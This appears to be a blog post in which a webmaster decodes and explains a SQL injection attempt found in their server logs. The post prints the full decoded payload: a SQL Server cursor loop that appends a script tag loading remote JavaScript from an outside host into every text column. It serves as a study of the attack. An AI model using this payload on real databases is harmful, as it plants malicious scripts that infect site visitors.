A few days ago, I was browsing through my web site logs. I was scrolling along when I saw an interesting entry (warning, long horizontal scrolling ahead. Please click through to post for easier reading):
I thought that looked peculiar, but didn’t think much of it. It wasn’t until the next day that I felt that was a hack attempt. Yeah, my spider sense wasn’t doing very well…
So I took a closer look at it. From the keywords “DECLARE”, “CHAR(4000)”, “SET”, “CAST” and “EXEC”, I gathered this might be an SQL statement. But what’s the long string of characters doing?
Notice the “0x” in the CAST command. Hmm… hexadecimal? To prove this, I wrote a mini program:
That might not be the best way to manipulate hexadecimal, but you should definitely not follow this example.
Lo and behold, I got this (reformatted for legibility):
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
It was a chunk of SQL statements in hexadecimal! So, let's look at it more closely. Let's start with this part:
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
syscolumns are system database tables. This automatically rules out Oracle as the database, since Oracle uses
all_tab_columns. MySQL uses
That leaves me with Sybase and SQL Server, the other 2 databases that I'm familiar with. Then I saw the query uses
xtype. Aha! Sybase's
sysobjects table doesn't have the
xtype column; it only has the
And so, I deduced that this was probably an attack on web sites running on SQL Servers.
Let's look at the query again. This part
a.xtype='u' in the where clause searches for user tables (or tables created by the user or associated applications). This part:
b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167
needs a little more explanation. My digging into the innards of
syscolumns tells me that 99, 35, 231 and 167 corresponds to
Hmm... those 4 look familiar... Oh right, they're data types for storing text in databases. I have a theory as to why
nchar are not included, but let's focus on the query first.
So in English, the query retrieves all columns of text data type of all user-created database tables. Then in the
while loop, an
update command in executed. Basically, it updates all the text columns in all the user-created tables to a "certain value". Let's look at this "certain value" (yes, this is THE HACK), shall we?
THE HACK starts with two single quotes, so it becomes just one single quote because of the SQL escape. Then it ends with double quotes and a greater than sign. Huh? Then there's a </title> end tag. This implies there's a starting title tag somewhere.
From this, I deduce that the hacker is assuming (or hoping) one of those text columns will be used in the title tag. This implies that the text columns are assumed to be of moderate length.
nchar types are not usually used for these types of data, so they're left out (or the hacker didn't think they're worthy). At least that's my theory...
Now I don't quite understand what's with the where clause in the
update statement in the
exec command. Why didn't the hacker simply update all the columns instead of adding a where clause search filter? It ends up the same anyway... Perhaps it's to mix up the encoded hexadecimal so it's not similar to past attempts...
And that's the end of my analysis. I hope that even if it's not relevant to you, you've learnt something from the thought processes that go into this hack investigation.